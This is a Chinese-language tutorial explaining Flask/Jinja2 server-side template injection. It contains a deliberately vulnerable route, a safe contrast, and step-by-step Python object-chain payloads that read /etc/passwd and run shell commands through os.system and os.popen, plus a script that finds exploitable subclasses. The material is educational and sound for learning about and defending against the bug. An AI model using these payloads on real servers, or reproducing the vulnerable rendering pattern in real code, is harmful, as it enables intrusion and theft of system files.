flask基礎
在學習SSTI之前,先把flask的運作流程搞明白。這樣有利用更快速的理解原理。
路由
先看一段代碼
from flask import flask
@app.route('/index/') def hello_word(): return 'hello word'
route
裝飾器的作用是將函數與url綁定起來。例子中的代碼的作用就是當你訪問http://127.0.0.1:5000/index
的時候,flask會返回hello word。
渲染方法
flask的渲染方法有render_template和render_template_string兩種。
render_template()是用來渲染一個指定的文件的。使用如下
return render_template('index.html')
render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>' return render_template_string(html)
模板
flask是使用Jinja2來作為渲染引擎的。看例子
在網站的根目錄下新建templates
文件夾,這里是用來存放html文件。也就是模板文件。
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html') /templates/index.html <h1>This is index page</h1>
訪問127.0.0.1:5000/index/
的時候,flask就會渲染出index.html的頁面。
模板文件並不是單純的html代碼,而是夾雜着模板的語法,因為頁面不可能都是一個樣子的,有一些地方是會變化的。比如說顯示用戶名的地方,這個時候就需要使用模板支持的語法,來傳參。
例子
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html',content='This is index page.') /templates/index.html <h1>{{content}}</h1>
這個時候頁面仍然輸出This is index page
。
{{}}
在Jinja2中作為變量包裹標識符。
模板注入
什么是模板注入呢?
不正確的使用flask中的render_template_string
方法會引發SSTI。那么是什么不正確的代碼呢?
xss利用
存在漏洞的代碼
@app.route('/test/')
def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
這段代碼存在漏洞的原因是數據和代碼的混淆。代碼中的code
是用戶可控的,會和html拼接后直接帶入渲染。
嘗試構造code為一串js代碼。
將代碼改為如下
@app.route('/test/')
def test(): code = request.args.get('id') return render_template_string('<h1>{{ code }}</h1>',code=code)
繼續嘗試
可以看到,js代碼被原樣輸出了。這是因為模板引擎一般都默認對渲染的變量值進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。
模板注入並不局限於xss,它還可以進行其他攻擊。
SSTI文件讀取/命令執行
基礎知識
在Jinja2模板引擎中,{{}}
是變量包裹標識符。{{}}
並不僅僅可以傳遞變量,還可以執行一些簡單的表達式。
這里還是用上文中存在漏洞的代碼
@app.route('/test/')
def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
構造參數{{2*4}}
,結果如下
可以看到表達式被執行了。
在flask中也有一些全局變量。
文件包含
看了師傅們的文章,是通過python的對象的繼承來一步步實現文件讀取和命令執行的的。順着師傅們的思路,再理一遍。
找到父類<type 'object'>
-->尋找子類-->找關於命令執行或者文件操作的模塊。
幾個魔術方法
__class__ 返回類型所屬的對象
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ 返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
1 、獲取字符串的類對象
>>> ''.__class__ <type 'str'>
2 、尋找基類
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
3 、尋找可用引用
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
可以看到有一個`<type 'file'>`
4 、利用之
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
放到模板里
可以看到讀取到了文件。
命令執行
繼續看命令執行payload的構造,思路和構造文件讀取的一樣。
尋找包含os模塊的腳本
#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1
輸出
-
71 <class 'site._Printer'>
-
-
-
-
76 <class 'site.Quitter'>
payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
構造paylaod的思路和構造文件讀取的是一樣的。只不過命令執行的結果無法直接看到,需要利用curl將結果發送到自己的vps或者利用ceye)
類似的payload同樣有:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
''.__class__.__mro__[2].__subclasses__()[40]('etc/passwd').read()
貼一個大佬寫的python模板注入
本文部分摘抄自 https://www.freebuf.com/column/187845.html